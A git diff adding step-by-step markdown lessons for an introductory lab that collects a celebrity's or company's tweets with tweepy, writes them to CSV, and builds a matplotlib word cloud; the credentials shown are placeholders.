+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/521.md
@@ -0,0 +1,13 @@
+
+
+### Step 1: Setting Stopwords
+
+We could set the `stopword` variable using `set()` function and `STOPWORDS` from the `wordcloud` library.
+
+```python
+stopwords = set(STOPWORDS)
+```
+
+We use stopwords so that we can filter out commonly used words in the English language like "I", "the", "in", etc. It will give us a more unique wordcloud.
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/522.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/522.md
new file mode 100644
index 00000000..4c0122af
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/522.md
@@ -0,0 +1,45 @@
+
+
+### Step 1: Jointing Tweets
+
+Next, create a variable `text` that store the joint tweets in bg3 separated with a space, using funciton join in python. To access every tweet in bg3, we will want to use a for loop.
+
+```python
+for tweet in bg3:
+ text = ' '.join(tweet)
+```
+
+### Step 2: Setting WordCloud Parameters
+
+We want to set the parameters in our wordcloud by doing the following:
+
+```python
+cloud = WordCloud(
+ background_color = ,
+ stopwords = stopwords,
+ max_words = ,
+ max_font_sizeint = ,
+ random_state = )
+```
+
+### Step 3: Creating the WordCloud
+
+After that, we generate the wordcloud as follows:
+
+```python
+wordcloud = cloud.generate(str(text))
+```
+
+or you can simply do
+
+```python
+wordcloud = WordCloud(
+ background_color = ,
+ stopwords = stopwords,
+ max_words = ,
+ max_font_sizeint = ,
+ random_state = ).generate(str(text))
+```
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/53.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/53.md
new file mode 100644
index 00000000..1b86e796
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/53.md
@@ -0,0 +1,14 @@
+
+
+After we have created our Wordcloud, we want to display it.
+
+### Step 1: Display the WordCloud
+
+To do so, we use functions from the `matplotlib.pyplot` library below:
+
+- `matplotlib.pyplot.figure()`
+- `matplotlib.pyplot.imshow()`
+- `matplotlib.pyplot.axis()`
+- `matplotlib.pyplot.show()`
+
+Once you have done the above, you can choose to add another line of code to save the Wordcloud you generated with the `savefig()` function.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/531.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/531.md
new file mode 100644
index 00000000..e3923bf5
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/531.md
@@ -0,0 +1,39 @@
+
+
+### Step 1: Displaying WordCloud
+
+After we have created our Wordcloud, we want to display it. Functions from the `matplotlib.pyplot` library can help us do this.
+
+We start by plotting a figure:
+
+```python
+fig = matplotlib.pyplot.figure(1)
+```
+
+### Step 2: Adjusting Parameters of the Figure
+
+Then, we can adjust some parameters such as `imshow()`, and `axis()`, and we can display our wordcloud by using `show()`.
+
+
+```python
+matplotlib.pyplot.imshow()
+matplotlib.pyplot.axis('off')
+matplotlib.pyplot.show()
+```
+
+`matplotlib.pyplot.imshow()` displays the image, but does not store the image data of your wordcloud. We're calling it here to check to see if our wordcloud looks correct.
+
+`matplotlib.pyplot.axis('off')` hides the axes so that we get a clean looking wordcloud.
+
+`matplotlib.pyplot.show()` starts an event loop, looks for all currently active figure objects, and opens one or more interactive windows that display your figure or figures.
+
+### Step 4: Maybe You Want to Save Your WordCloud
+
+
+Once you have done the above, you can choose to add another line of code to save the Wordcloud you generated with the `savefig()` function as shown:
+
+```python
+fig.savefig("")
+```
+
+and you can include other parameters you want to set in the `savefig()`. Click [here](https://matplotlib.org/3.1.1/api/pyplot_summary.html) to see all the parameters.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/54.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/54.md
new file mode 100644
index 00000000..f6e5557e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/54.md
@@ -0,0 +1,30 @@
+
+
+### Step 1: Putting Together
+
+Now that we are done with all our code, we can compile it all together and run it. Congratulations for successfully generating a wordcloud to visualize tweets!
+
+```python
+#import your libraries
+import
+
+#declare your keys
+consumer_key =
+consumer_secret =
+access_token_key =
+access_token_secret =
+
+#Function to extract tweets
+def get_tweets(username):
+
+
+
+#Function to generate Wordcloud
+def main():
+
+
+
+#Call the main() function
+main()
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/541.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/541.md
new file mode 100644
index 00000000..2996184a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/541.md
@@ -0,0 +1,108 @@
+
+
+### Step 1: Your Program is Ready!
+
+Compile your code in the following manner and you are done! Congratulations!
+
+```python
+#import your libraries
+import tweepy
+import pandas as pd
+import sys
+import csv
+from wordcloud import WordCloud, STOPWORDS
+import matplotlib as mpl
+import matplotlib.pyplot as plt
+import string
+import re
+from PIL import Image
+
+#declare your keys
+consumer_key = 'xxx'
+consumer_secret = 'xxx'
+access_token_key = 'xxx'
+access_token_secret = 'xxx'
+
+#Function to extract tweets
+def get_tweets(username):
+ # Authorization to consumer key and consumer secret
+ auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+ # Access to user's access key and access secret
+ auth.set_access_token(access_token_key, access_token_secret)
+
+ # Calling api
+ api = tweepy.API(auth)
+ # set count to however many tweets you want - max count is 3200 and this doesn't have any effect if it is more than 3200
+ # number_of_tweets = 5000
+
+ tfile = []
+ for tweet in tweepy.Cursor(api.user_timeline, screen_name=username).items():
+ # username, tweet id, date/time, text
+ tfile.append([username, tweet.id_str, tweet.source, tweet.created_at, tweet.retweet_count, tweet.favorite_count,
+ tweet.text.encode("utf-8")])
+
+ # write to a new csv file from the array of tweets
+ outfile = username + "_tweets_V1.csv"
+ print("writing to " + outfile)
+ with open(outfile, 'w+') as file:
+ writer = csv.writer(file, delimiter=',')
+ writer.writerow(['User_Name', 'Tweet_ID', 'Source', 'Created_date', 'Retweet_count', 'Favorite_count', 'Tweet'])
+ writer.writerows(tfile)
+
+#Function to generate Wordcloud
+def main():
+ # user name
+ # get_tweets("@KingJames")
+
+ bg = pd.read_csv("@KingJames_tweets_V1.csv", encoding='utf-8')
+ print(bg.head(10))
+
+ bg2 = []
+ import re
+ pattern1 = re.compile(" ' # S % & ' ( ) * + , - . / : ; < = > @ [ / ] ^ _ { | } ~")
+ pattern2 = re.compile("@[A-Za-z0-9]+")
+ pattern3 = re.compile("https?://[A-Za-z0-9./]+")
+
+ for index, row in bg.iterrows():
+ """
+ NOTE: please improve this way of filtering out emojis
+ b' needs to be cleaned up too
+ """
+
+ if '\\' not in row['Tweet']:
+ tweet = re.sub(pattern1, "", row['Tweet']) # version 1 of the tweet
+ tweet = re.sub(pattern2, "", tweet)
+ tweet = re.sub(pattern3, "", tweet)
+ bg2.append(tweet)
+
+ bg3 = pd.DataFrame(bg2, columns=['tweet'])
+ print('what')
+ print(bg3)
+
+ mpl.rcParams['figure.figsize'] = (16.0, 10.0)
+ mpl.rcParams['font.size'] = 12
+ mpl.rcParams['savefig.dpi'] = 1400
+ mpl.rcParams['figure.subplot.bottom'] = .1
+
+ stopwords = set(STOPWORDS)
+ text = " ".join(tweet for tweet in bg3.tweet)
+ print("There are {} words in the combination of all tweets.".format(len(text)))
+
+ wordcloud = WordCloud(
+ background_color='white',
+ stopwords=stopwords,
+ max_words=200,
+ max_font_size=40,
+ random_state=42
+ ).generate(str(text))
+
+ fig = plt.figure(1)
+ plt.imshow(wordcloud)
+ plt.axis('off')
+ plt.show()
+ fig.savefig("word1.png", dpi=1400)
+
+#Call the main() function
+main()
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/README.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/README.md
new file mode 100644
index 00000000..eca8a0e9
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/README.md
@@ -0,0 +1,7 @@
+For this lab, we will be analyzing tweets using Twitter's API and `tweepy` package in Python by creating a Word Cloud to observe the frequency of words being used in a celebrity's tweets.
+
+Analyzing the words used by a celebrity in an increasingly cluttered social media world has many uses.
+
+In this day and age, having a prominent social media presence can mean the difference for celebrities' public persona. A celebrity can use social media to generate excitement from millions of fans on Twitter, and if done right, propel their fame to new heights. Conversely, celebrities have to be careful about what they post on a site like Twitter, because one offensive tweet will get viral for the wrong reasons and destroy their reputation, not just in social media but in real life as well.
+
+Therefore, the words that celebrities choose when tweeting are vitally important, to cultivate an online persona and propel their own fame. Seeing a word cloud of the words in their tweets can start to help us find common trends in their tweets and determine what kind of persona they wish to conjure on social media.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/DataFrames.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/DataFrames.png
new file mode 100644
index 00000000..3ea70acf
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/DataFrames.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/Figure 1. Modeling Research-WordCloud of experimental design.jpg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/Figure 1. Modeling Research-WordCloud of experimental design.jpg
new file mode 100644
index 00000000..41ab8f90
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/Figure 1. Modeling Research-WordCloud of experimental design.jpg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/Orchestration-Bike-management-example.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/Orchestration-Bike-management-example.png
new file mode 100644
index 00000000..8560b9ac
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/Orchestration-Bike-management-example.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/csv_file.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/csv_file.png
new file mode 100644
index 00000000..d3e756a1
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/csv_file.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/data-cleaning-770x430.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/data-cleaning-770x430.png
new file mode 100644
index 00000000..ecdfa9dd
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/data-cleaning-770x430.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/data_append.jpg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/data_append.jpg
new file mode 100644
index 00000000..6318c533
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/data_append.jpg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/img_5acfa7c320b99.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/img_5acfa7c320b99.png
new file mode 100644
index 00000000..ba84702f
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/img_5acfa7c320b99.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-1311518.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-1311518.jpeg
new file mode 100644
index 00000000..85060ad3
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-1311518.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-572056.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-572056.jpeg
new file mode 100644
index 00000000..f706607f
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-572056.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-58639.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-58639.jpeg
new file mode 100644
index 00000000..98a475b5
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pexels-photo-58639.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pic1.jfif b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pic1.jfif
new file mode 100644
index 00000000..e642e1d3
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/pic1.jfif differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/python-twitter-app-creation-part1.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/python-twitter-app-creation-part1.png
new file mode 100644
index 00000000..1686de68
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/python-twitter-app-creation-part1.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/python-twitter-app-creation-part2.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/python-twitter-app-creation-part2.png
new file mode 100644
index 00000000..9ab561fc
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/image/python-twitter-app-creation-part2.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/0.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/0.md
new file mode 100644
index 00000000..a12a04d6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/0.md
@@ -0,0 +1,28 @@
+
+
+### Step 1: Creating an App
+
+Head over to your Twitter Developer Account and create an app. Fill out the fields on the next page that looks like this:
+
+
+
+
+
+After your app is created, you will see a new page that shows all the information you need.
+
+
+
+
+
+### Step 2: Keying In Authorization Keys
+
+Copy the information needed and create the following keys: `consumer_key`, `consumer_secret`, `access_token_key`, `access_token_secret`, and declare the keys as follows:
+
+```python
+consumer_key = ''
+consumer_secret = ''
+access_token_key = ''
+access_token_secret = ''
+```
+
+It's important to use the quotation marks (both `'` or `"` work, just make sure you are consistent about which one you use), otherwise it may cause problems in the program! We will be using these to authorize our Twitter API.
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/1.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/1.md
new file mode 100644
index 00000000..627ebcce
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/1.md
@@ -0,0 +1,12 @@
+
+
+
+
+To do this project in Python using `tweepy`, a Python library for accessing the Twitter API, you should start off by importing our necessary libraries. **Libraries** are importable packages of prewritten code that anyone can use. This way, we don't have to start our code completely from scratch! The libraries we will be using are:
+
+`tweepy`, `pandas`, `sys`, `csv`, `WordCloud` and `STOPWORDS` from `wordcloud`, `matplotlib`, `matplotlib.pyplot`, `string`, `re`, `PIL`
+
+
+
+The next thing we want is to be able to use the python-twitter API client. To do that, you need to acquire and declare a set of application tokens, which we have already done. Name the tokens `consumer_key`, `consumer_secret`, `access_token_key`, and `access_token_secret`.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/11.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/11.md
new file mode 100644
index 00000000..3c08a296
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/11.md
@@ -0,0 +1,28 @@
+
+
+
+
+#### Step 1: Importing Libraries
+
+Import the following libraries:
+
+- `tweepy`
+
+- `pandas`
+
+- `sys`
+
+- `csv`
+
+- `WordCloud` and `STOPWORDS` from `wordcloud`
+
+- `matplotlib`
+
+- `matplotlib.pyplot`
+
+- `string`
+
+- `re`
+
+- `PIL`
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/111.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/111.md
new file mode 100644
index 00000000..49a351db
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/111.md
@@ -0,0 +1,59 @@
+
+
+#### Step 1: Importing Libraries
+
+An example of importing libraries is as shown below:
+
+```python
+import math
+```
+
+You can import a library and give it a preferred name, as shown below:
+
+```python
+import math as mt
+```
+
+You can also import specific objects from a library instead of the whole thing, like this:
+
+```python
+from wordcloud import WordCloud, STOPWORDS
+```
+
+
+
+Import the following libraries:
+
+- `tweepy`
+
+- `pandas`
+
+- `sys`
+
+- `csv`
+
+- `WordCloud` and `STOPWORDS` from `wordcloud`
+
+- `matplotlib`
+
+- `matplotlib.pyplot`
+
+- `string`
+
+- `re`
+
+- `PIL`
+
+```python
+import tweepy
+import pandas as pd
+import sys
+import csv
+from wordcloud import WordCloud, STOPWORDS
+import matplotlib as mpl
+import matplotlib.pyplot as plt
+import string
+import re
+from PIL import Image
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/2.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/2.md
new file mode 100644
index 00000000..5079f76e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/2.md
@@ -0,0 +1,21 @@
+
+
+
+
+The next thing we want to do is to create a function to extract tweets.
+
+
+
+Define a function called `get_tweet()` which takes the parameter `username`. Then, gain authorization to the **consumer key** and **consumer secret**.
+
+A **consumer key** is the key that a service provider, in our case Twitter, issues to a consumer that allows the consumer to access the API. **Consumer secret** is the consumer "password" that is used along with the consumer key.
+
+
+
+The next thing we want to do is to gain access to the **access key** and **access secret**.
+
+The **access token** and **access secret** are used to make API requests on your account's behalf.
+
+
+
+Once we are done with the authorization procedure, we move on by calling the API.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/21.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/21.md
new file mode 100644
index 00000000..e0e15453
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/21.md
@@ -0,0 +1,13 @@
+
+
+### Step 1: What Do We Need to Access People's Tweets?
+
+In our `get_tweets(username)` function, we need to get authorization to our consumer key and consumer secret and gain access to the user's access key and access secret.
+
+
+
+
+
+### Step 2: Call API
+
+After we are done with that, we call the API by declaring the variable `api` using the `tweepy.API` function.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/211.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/211.md
new file mode 100644
index 00000000..277a8b66
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/211.md
@@ -0,0 +1,30 @@
+
+
+Start off by defining the function:
+
+```python
+def get_tweet(username):
+```
+
+
+
+### Step 1: Code to Gain Consumer's Information
+
+We could call the `OAuthHandler()` function from by `tweepy` library by using the dot operator.
+
+`tweepy.OAuthHandler()` is a function that returns an instance of an OAuthHandler object, which contains pre-written methods that will help you in the authorization process. It takes in 2 arguments, the consumer key and consumer secret. We can fill these in with the ones that were generated for you in the Twitter Developer App.
+
+```python
+auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+```
+
+
+
+### Step 2: Code to Store Access Tokens
+
+There is a handy method that is built into the OAuthHandler object that allows us to store our consumer key and consumer secret so that we can rebuild our OAuthHandler at a later time.
+
+```python
+auth.set_access_token(access_token_key, access_token_secret)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/212.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/212.md
new file mode 100644
index 00000000..401bc2c2
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/212.md
@@ -0,0 +1,9 @@
+
+
+The next thing we want to move on to is to call the Twitter API. Do so by the following:
+
+```python
+api = tweepy.API(auth)
+```
+
+We can now access information from Twitter to work with!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/3.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/3.md
new file mode 100644
index 00000000..8db1a1ed
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/3.md
@@ -0,0 +1,19 @@
+
+
+
+
+Now that the `get_tweet()` function can help us get access to the user's tweets, we want it to help us obtain a number of tweets from the user into a **list** and write it to a new **.csv file**.
+
+A **.csv file** is a "comma separated value file". They are delimited (compressed to save space) text files that use commas to separate values. You generally see them in the form of Excel spreadsheets. We're going to be using a .csv file to keep our data easily accessible and organized in rows and columns. This is what they look like.
+
+
+
+
+
+First, we want to declare an empty **list** and name it `tfile` to store the extracted tweets from the user. Then, we can create a **for loop** to access the items in `tweepy.Cursor()` and append tweet data into the `tfile` list. [Here](http://docs.tweepy.org/en/v3.5.0/cursor_tutorial.html) is the documentation for `tweepy.Cursor`.
+
+
+
+
+The information that we want to append into `tfile` are `username`, `tweet.id_str`, `tweet.source`, `tweet.created_at`, `tweet.retweet_count`, `tweet.favourite_count`, and `tweet.text.encode("utf-8")`.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/31.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/31.md
new file mode 100644
index 00000000..d2a5a84e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/31.md
@@ -0,0 +1,28 @@
+
+
+
+
+So let's continue adding on to our `get_tweet()` function.
+
+### Step 1: A List Variable
+
+First, we want to declare an empty **list** and name it `tfile` to store the extracted tweets from the user.
+
+
+
+### Step 2: Append Data
+
+Then, we can create a **for loop** to access the items in `tweepy.Cursor()` and append tweet data into the `tfile` list. `tweepy.Cursor` is a Callable that takes in a user timeline and id. It helps us go through the items in the specified user's tweets.
+
+
+
+Within the `for` loop, use the `append()` function on `tfile` to append the following:
+
+- `username`
+- `tweet.id_str`
+- `tweet.source`
+- `tweet.created_at`
+- `tweet.retweet_count`
+- `tweet.favourite_count`
+- `tweet.text.encode("utf-8")`
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/311.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/311.md
new file mode 100644
index 00000000..0344e11a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/311.md
@@ -0,0 +1,54 @@
+
+
+### Step 1: Creating a List to Store Tweets
+
+We can create an empty list using `[]`. We set the name of this list to "tfile", but you can name it whatever you want:
+
+```python
+tfile = []
+```
+
+Then, we can use "for ... in ..." to access the items in the user's timeline:
+
+```python
+for tweet in tweepy.Cursor(api.user_timeline,screen_name=username).items():
+```
+
+You may have noticed we added `.items()` at the end of our call to `tweepy.Cursor`. This returns all the items in `tweepy.Cursor` in a list, which makes it a lot easier for us to add to our master `tfile` list.
+
+
+
+### Step 2: Adding Data into the List
+
+In the for loop, we can directly add elements to the `tfile` list with the `append()` function by using dot operator , for example, to append the username, use
+
+```
+tfile.append(username)
+```
+
+And similarly, you can append the rest of the data: `tweet.id_str`, `tweet.source`, `tweet.created_at`, `tweet.retweet_count`, `tweet.favourite_count`, and `tweet.text.encode("utf-8")`.
+
+```python
+tfile.append(username)
+tfile.append(tweet.id_str)
+tfile.append(tweet.source)
+tfile.append(tweet.created_at)
+tfile.append(tweet.retweet_count)
+tfile.append(tweet.favourite_count)
+tfile.append(tweet.text.encode("utf-8"))
+```
+
+
+
+So altogether, we get this:
+
+```python
+for tweet in tweepy.Cursor(api.user_timeline,screen_name=username).items():
+ tfile.append(username)
+ tfile.append(tweet.id_str)
+ tfile.append(tweet.source)
+ tfile.append(tweet.created_at)
+ tfile.append(tweet.retweet_count)
+ tfile.append(tweet.favourite_count)
+ tfile.append(tweet.text.encode("utf-8"))
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/32.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/32.md
new file mode 100644
index 00000000..00491b43
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/32.md
@@ -0,0 +1,12 @@
+
+
+
+
+### Step 1: Copy from a List to .cvs File
+
+After obtaining tweet data into `tfile`, we want to copy the data into a .csv file. To do this, we create a .csv file using the `open()` and `writerows()` functions.
+
+
+
+Then, copy the data from `tfile` by using the `writerows(tfile)` function.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/321.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/321.md
new file mode 100644
index 00000000..79a7e821
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/321.md
@@ -0,0 +1,9 @@
+
+
+### Step 1: Naming the New .cvs File
+
+First, let's name our new .cvs file. We want the name to contain the user's name followed by some explanations. The variable "outfile" stores the name for us.
+
+```
+outfile = username + "_tweets_V1.cvs"
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/322.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/322.md
new file mode 100644
index 00000000..a00dfd92
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/322.md
